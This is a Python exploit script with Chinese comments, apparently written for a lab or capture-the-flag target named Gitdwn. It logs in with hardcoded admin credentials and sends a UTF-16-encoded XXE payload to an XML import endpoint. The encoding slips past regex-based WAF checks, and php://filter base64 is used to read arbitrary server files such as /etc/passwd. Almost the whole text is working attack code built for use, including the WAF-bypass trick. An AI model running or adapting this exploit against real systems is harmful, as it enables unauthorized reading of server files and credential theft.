﻿#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Gitdwn 靶机 — XXE 文件读取脚本 (UTF-16 WAF 绕过)
=====================================================
利用 UTF-16LE 编码绕过两道 WAF 正则，结合 php://filter
base64 编码读取任意文件内容。

绕过原理:
    UTF-16LE 编码在每个 ASCII 字节后插入 0x00:
        'php' -> 'p\x00h\x00p\x00'
        '<!DOCTYPE' -> '<\x00!\x00D\x00O\x00C\x00T\x00Y\x00P\x00E\x00'
    preg_match 在原始字节流上搜索原生 ASCII 模式，匹配失败。

用法:
    python3 02_xxe_reader.py <目标IP> <文件路径>
    python3 02_xxe_reader.py 192.168.1.118 /etc/passwd
    python3 02_xxe_reader.py 192.168.1.118 /home/git/user.txt

认证:
    脚本会自动使用 admin:hotdog 登录获取有效 Session。
    如需更换凭据，修改 ADMIN_USER / ADMIN_PASS 常量。

依赖:
    pip install pycryptodome requests
"""

import sys
import json
import base64
import requests
from Crypto.Cipher import AES, PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad

# ============================================================
# 配置
# ============================================================
RSA_PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt6l3k43vuI+8ODHhr07q
/fBswyWqv5d0SsoX2+i5rWy98PW58HNrKveU6IDRhWFOmA8MQ0j7zUcH33VGaQNO
ZdI8gmo4pdlABQJ7EM4E6KGYCxlyIi4QtyUorBP6pfS1nlLCyAIcybnpia4kHT/p
MqaIXKMVqDYHGJMNp0LIBkFA0eKp9usd2YStJ0nzgZrJS2t8znbvqXqx8uvBkRpZ
bEZKUc3skgUIumazaw4plE+OzcVAa/67vuD7e7sycVHY+McsphLm+1CjS1jjvBt6
z036X4WJUANNIb4K2yJ8tYREXbxLQ5uwnVb9cwbQKSGg8Tr6GgSkbNjseAgZaUPt
QwIDAQAB
-----END PUBLIC KEY-----"""

ADMIN_USER = "admin"
ADMIN_PASS = "hotdog"


# ============================================================
# 加密函数 (与 01_login_bruteforce.py 相同)
# ============================================================
def encrypt_login(username, password):
    aes_key = get_random_bytes(16)
    iv = get_random_bytes(16)
    credentials = json.dumps({"username": username, "password": password})
    cipher = AES.new(aes_key, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(pad(credentials.encode(), AES.block_size))
    encrypted_data_b64 = base64.b64encode(encrypted).decode()
    rsa_key = RSA.import_key(RSA_PUBLIC_KEY)
    rsa_cipher = PKCS1_v1_5.new(rsa_key)
    aes_key_b64 = base64.b64encode(aes_key).decode()
    iv_b64 = base64.b64encode(iv).decode()
    encrypted_key = base64.b64encode(
        rsa_cipher.encrypt(aes_key_b64.encode())
    ).decode()
    encrypted_iv = base64.b64encode(
        rsa_cipher.encrypt(iv_b64.encode())
    ).decode()
    return {
        "encryptedData": encrypted_data_b64,
        "encryptedKey": encrypted_key,
        "encryptedIv": encrypted_iv
    }


# ============================================================
# XXE 文件读取 (UTF-16 绕过)
# ============================================================
def read_file(session, target, filepath, use_base64=True):
    """
    通过 XXE 读取目标文件。

    Args:
        session: requests.Session (已认证)
        target: 目标 IP
        filepath: 要读取的文件绝对路径
        use_base64: 是否使用 php://filter base64 编码
                    (读取含 XML 特殊字符的文件时必须启用)

    Returns:
        文件内容字符串，或 None
    """
    if use_base64:
        uri = f"php://filter/convert.base64-encode/resource={filepath}"
    else:
        uri = f"file://{filepath}"

    # UTF-16 编码的 XXE Payload
    xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "{uri}">]>
<root><data>&xxe;</data></root>"""

    url = f"http://{target}/api/import.php"
    r = session.post(
        url,
        files={"xmlFile": ("pwn.xml", xml.encode("utf-16"), "text/xml")}
    )

    try:
        j = r.json()
    except json.JSONDecodeError:
        print(f"[!] 非 JSON 响应: {r.text[:200]}")
        return None

    if not j.get("success"):
        msg = j.get("message", "Unknown error")
        if "Invalid XML" in str(msg):
            print(f"[!] 文件可能不存在或无权限: {filepath}")
        else:
            print(f"[!] 读取失败: {msg}")
        return None

    raw = j.get("data", {}).get("data", "")

    if use_base64 and raw:
        try:
            return base64.b64decode(raw).decode("utf-8", errors="replace")
        except Exception as e:
            print(f"[!] Base64 解码失败: {e}")
            return raw

    return raw if raw else None


def login(target):
    """登录 MazeSec，返回带认证 cookie 的 Session"""
    session = requests.Session()
    payload = encrypt_login(ADMIN_USER, ADMIN_PASS)
    r = session.post(f"http://{target}/api/login.php", json=payload)

    if '"success":true' not in r.text:
        print(f"[!] 登录失败: {r.text}")
        sys.exit(1)

    # JS 客户端会设置 session_token cookie
    token = r.json().get("token")
    session.cookies.set("session_token", token)

    print(f"[+] 登录成功: {ADMIN_USER} (PHPSESSID={session.cookies.get('PHPSESSID')})")
    return session


def main():
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <目标IP> <文件路径> [--raw]")
        print(f"示例: {sys.argv[0]} 192.168.1.118 /etc/passwd")
        print(f"       {sys.argv[0]} 192.168.1.118 /home/git/user.txt")
        sys.exit(1)

    target = sys.argv[1]
    filepath = sys.argv[2]
    use_base64 = "--raw" not in sys.argv  # 默认使用 base64 编码

    print(f"[*] 目标: {target}")
    print(f"[*] 文件: {filepath}")
    print(f"[*] 模式: {'base64 编码' if use_base64 else '原始读取'}\n")

    # Step 1: 登录
    session = login(target)

    # Step 2: XXE 读取
    content = read_file(session, target, filepath, use_base64)
    if content:
        print(f"\n{'='*60}")
        print(content.strip())
        print(f"{'='*60}")
    else:
        print("\n[!] 无法读取文件")


if __name__ == "__main__":
    main()
